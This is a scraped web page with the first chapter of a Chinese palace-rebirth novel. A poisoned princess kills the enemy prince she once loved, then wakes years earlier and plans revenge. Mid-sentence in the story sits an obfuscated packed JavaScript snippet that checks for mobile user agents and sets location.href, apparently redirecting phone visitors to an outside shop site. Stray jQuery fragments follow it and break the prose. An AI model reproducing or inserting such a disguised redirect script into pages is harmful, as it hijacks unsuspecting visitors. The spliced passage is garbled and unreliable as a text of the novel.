默认冷灰
24号文字
方正启体

1. 第 1 章

作者:梨酥醉本书字数:K更新时间:
    元祯二十年十二月,是日大雪。


    铅霭重压朱墙碧瓦,雾凇沆砀,玉阶凝冰。肃杀沉寂之感氤氲出门外敌军压入皇宫的山雨欲来、王朝将倾之大势,而禁军和护城军人散而力不足,浴血御敌。


    但这是迟早的事,成败已定,四下无主,人群四窜,各处流亡奔走。


    一抹红影缓缓迈步走出宫阙,雪厚千尺,雪粒滴落在她的长睫之上,眉睫轻颤,走到宫门外,尸横遍野,入目白骨雪地,蓦然闯入的红打破大黎国泰民安的景况,一瞬风雨飘摇,摇摇欲坠。


    黎醉身着杏黄交领红袍,领口缀朱红镶边,腰间松束同色锦带,衣料轻垂如流水,纹饰简单却自显矜贵。


    “公主!”


    裹着厚冬衣的南瑶一路避开伏地的尸体,捂住口鼻,掩盖扑面而来的血腥味,怀里揣着暖炉和大氅,迎着朔风颤栗身子,急着跟上公主的步伐。


    黎醉身薄如纸,面色煞白,墨发及腰,未曾佩带金钗银饰,她形似杨柳垂落,在这寒风一吹就倒。


    偏又早上太监送来的梅花酥引得自家小主抱腹剧疼,锥心刺骨之疼好几番没缓过来,现下刚有精神就往外走。


    而那太监偏又是平日没瞧见的人,梅花酥也有很大的问题,来不及细究,单着一件素衣的黎醉竟俯身,瞧不清状况。


    南瑶跑得更急,生怕公主做出什么傻事。


    黎醉疯癫痴笑,此刻恨不得把自己扔进火海中忍受剥骨抽筋、割骨剜心之痛。


    只因国破家亡,归根结底,到底是她的错。


    她不敢死,怕见到父王母后乃至天下子民的唾弃。


    当初的她有多愚蠢,才会喜欢上敌国派来和亲的质子,一心情愿倾尽所有,到头来一场空。


    连带她的父王母后甚至整个黎国乃至毁灭。


    深宫女眷,外敌侵入,何来出路。


    南瑶好不容易跟上主子,小心翼翼地把暖炉递给魂不守舍的黎醉,她手掌冰冷彻骨,虎口于指腹的厚茧几近消失。


    而这还是因为裴清酌喜欢柔弱女子,说女子习武惹得人偏见。


    “可笑至极!黎醉,你就是个白痴傻子,陛下皇后如此疼你,你就这么对他们!”


    迎面而来的昔日死敌女官姚青手持笏板,径直砸向黎醉素衣大氅的暖炉,精准打落在地,炭灰洒落一地,而四射到黎醉手心之上的星火烫皮那冷白的指尖,后者却不为所动。


    而现在的黎醉麻木不仁,杏瞳涣散,犹如行尸走肉般,明明她平日是最怕疼的那一个,可如今……


    姚青眉目紧皱,目眦欲裂地想打醒这个疯子。


    “对不起。”


    黎醉瞳孔涣散,平日里活泼开朗的天真模样,一朝长成大人。言语中不仅是自身的唾弃和责备,还有被迫接受风云而兀自孤怜地不知所措。


    平日里二人每次吵架都是因为裴清酌。


    “跟我走!逃出宫,否则二皇子不会放过你。你这副不人不鬼的样子于事无补,今日之势,并非全然你之过……”


    她已经没有思考的能力了。


    朔风凛冽,刺骨侵髓,黎醉胸腔一阵恶心,青白的手蓝紫色的血管分外清明,另一只手撑地,大口鲜血喷涌而出。


    一旁的婢女南瑶目瞪口呆,满脸慌张,只得将大氅收紧,双手颤抖地握住丝帕为黎醉擦去血迹,哭哭啼啼地轻拍黎醉,试图让她气息平稳。


    “你怎么了?”


    “我走不出去这里了。”


    而且也不配,黎醉厌恶这寒风入骨的天公,带走了她的一切。


    “公主殿下,想走去哪儿?”


    人未至声已到,静宁宫外大批侍卫纷至沓来,而宫外厮杀声渐息,大雪封路,无数亡魂尸身铺满一路,热血融烬厚冰,开出了道。而侍卫均着兵甲,提刀携长矛。


    而面上不是黎国人,而是盛国人。


    “驸驸……凉王殿下。”


    南瑶扑通一声跪地,头击雪面身体蜷缩伏地,心跳到了嗓子眼。


    自打这位敌国质子来到宫中,隐忍多年,所受虐待只多不少,如今一朝万人之上,必然睚眦必报。


    但她家公主可一直把他当宝贝疼着。


    黎醉恨不得将这两字千刀万剐,讽刺轻嗤:“凉王?”


    她丝毫没有跪地的架势,磕绊起来,身板挺直,哪怕发丝凌乱,狼狈不堪,依旧透着骨子里的矜贵。


    裴清酌哑声:“公主,回宫。”


    男人一身黑色虎皮大氅,交颈领边素白毛羽染上血迹,眉目一如既往的墨黑,黑瞳带着一股压抑,在看到黎醉一身血迹时,不禁皱眉欲向前扶她起身。


    视线交汇那一刻,黎醉垂眸讽刺,倒是挺能忍,到现在了都还隐忍克制,怎么不直接捅死她呢?


    如果不是那双看似多情的眼,黎醉怎又觉得他亦对自己有情呢?


    半月前,盛军压境入关,城防图失踪,而当时黎醉刚狩猎回来,父皇宣去训话,太子病入膏肓,父皇不放心,将城防图交给他。


    可枕边人最是防不住……


    盛军势如破竹,多次长驱直入,一路攻到洛都,以前所未有之势,直逼皇城。


    天潢贵胄一朝四散,父皇驾崩,太子遇刺,二皇兄投敌,举目四下老弱妇孺,惟剩她公主一人死守皇城。


    眼见天命难违,宫中已有女眷自缢于屋内,不愿受其欺辱。


    而她晨曦赐毒酒,皇兄与她言说,三个时辰暴毙身亡,其间黎醉生不如死地尝下自己的恶果。


    而此毒正是以狠辣闻名于世,先是入骨,忍受锥心之痛,再头痛欲裂,最后浑身血管迸裂,却又意识清晰地忍受它,药名断魂草,以盛国最常见。


    而那里的人将此毒用作惩罚背叛家国、十恶不赦的不肖子孙。


    到死裴清酌都要来恶心她。


    黎醉拖着身沉千尺的步伐,走出宫门的那一刻,红了眼,为何到这般境地。


    皇宫横尸遍野,今日的一抹红便是她最厌恶的颜色。


    黎醉手肘撑地,起身,长裙乱作一团,一旁的婢女南瑶眼疾手快扶起她。


    哪怕狼狈不堪,她也是黎朝集万千宠爱长大的嫡公主,天潢贵胄,从不沦为阶下囚。


    “你初入我黎国,是以两国休战为休养生息,外人说你是质子,我凭着那可笑的天真竟想与你成婚,外人谁还敢嘲笑你质子身份,可你呢?你带着你的军队,践踏我的子民,尸骸遍野,我问你可曾有悔?”


    “裴清酌,我恨你。”


    黎醉杏眼眸微眯,视线模糊,在众人都以为她要晕倒之际,连着裴清酌下意识向前一步,不料黎醉手肘绕后夺下婢女头上银簪,直刺凉王殿下的交颈领致命处脖颈血管。


    裴清酌心如刀割,思绪停凝,眼眶似有泪滴坠落,嘴角渗出血,气绝而亡之际,惟留一句。


    “我陪你。”


    一簪刺颈,二人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125203|196035||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    双死。


    天地雪白,血染千尺。


    姚青叹气,记录正史:“黎朝嫡公主被赐毒,刺骨钻心,血溅三尺,气绝而亡。其夫盛朝皇子为妻手刃。”


    ……


    “醉儿?醒醒!母妃刚进来你就睡了?”


    温暖而有力的手掌紧贴黎醉肤若凝脂的额头间,确定没有发烧之后,妇人淡笑一声,摇头无奈叹气,决定离开。


    梦境恍惚,黎醉在梦中被万千子民惩治,而裴清酌还在一旁冷意讽刺,她眼睁睁地看着周围的人一个个去世,怀里的尸体逐渐冰冷,却在听到熟悉的声音前,顿住。


    黎醉一个鲤鱼打挺坐起身,只见一仪态端庄,杏黄长裙的绸缎面料绣有云间野鹤,流苏轻晃的人正欲离去,这分明是母亲。


    “母妃!!”


    黎醉几近哭出声,吓得魏氏连忙上前安慰:“醉儿怎么了?”


    熟悉的梳妆镜画上捣蛋小人,窗帘总是多积一层遮光布匹的装饰,黎醉看向周围熟悉的摆设,下意识往枕芯探去。


    刀在——这里是何处?


    她重生了。


    黎醉鼻尖通红,绾起的双尾凌乱四散,一副潸然泪下的可怜模样。


    这孩子自小活泼闹腾,却不曾像今日一般哭闹。魏络双手轻轻擦拭双颊泪珠,吩咐婢女递上新做的甜点,小声哄着黎醉。


    “是不是做噩梦了?这是洛都御厨所做的梅花酥,你二哥方才送来,尝尝?听说明日有围猎,可愿与你皇兄们一起玩?”


    前世就是吃的梅花酥,中的断魂草。


    黎醉心尖一颤,汗浸后背,摇头。


    魏络一脸戳破地摩挲黎醉掌心,旧茧堆积,是习武之人的手,母女二人长相相近却又有差异,魏氏属于温婉,而黎醉更偏向于活泼。


    “我不是故意瞒您的。”


    黎醉委屈地撅起红唇,心底泛起的涟漪是劫后余生的庆幸。她眉眼弯弯,眼梢微翘,毛茸茸的头一股脑钻进魏氏的怀里,像三岁小孩一样撒泼打滚。


    一切都来得及,她的家人都在。


    魏氏轻轻拍打的黎醉的后背,以示安抚。


    “今夕何夕?”


    “元祯十年,可要我为你寻太医来瞧瞧?”


    这下可把魏络急坏了,这孩子怎么连今夕何夕都不知道了?


    元祯十年,盛国和黎国两国交战,而盛国惨败,特奉皇子裴清酌与之和亲,但这是表面的客套话,毕竟说不好听的,其实就是质子。


    质子身份卑微,几乎是敌国弃子。


    想起前世对裴清酌一见钟情,心生怜悯,前仆后继,换来这么个结局?


    倒是讽刺。


    今日狩猎,恰是裴清酌入黎之际,不如及时止损,以绝后患。


    心爱之人,痛心疾首之际,便会忘了这一切,现在压在黎醉心头的,是亡国之痛。


    再杀一次又何妨。


    黎醉思绪停凝一瞬,安慰:“母后,我无事,明日围猎我正有此意,但母后我打算悄悄地去,不用特意照顾我。”


    自家小女今年方十六,不到及笄之年,又怎能放心得下。且女儿一直受庇护,只好表面答应。


    “切记保重。”


    黎醉下床伏地而跪,头击地面,热泪盈眶,哑声:“谢母后,这些年来让你们担心了,替我向父皇问安,儿臣改日来看你。”


    也谢天公作美,特许她黎醉重活一世,扭转乾坤。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)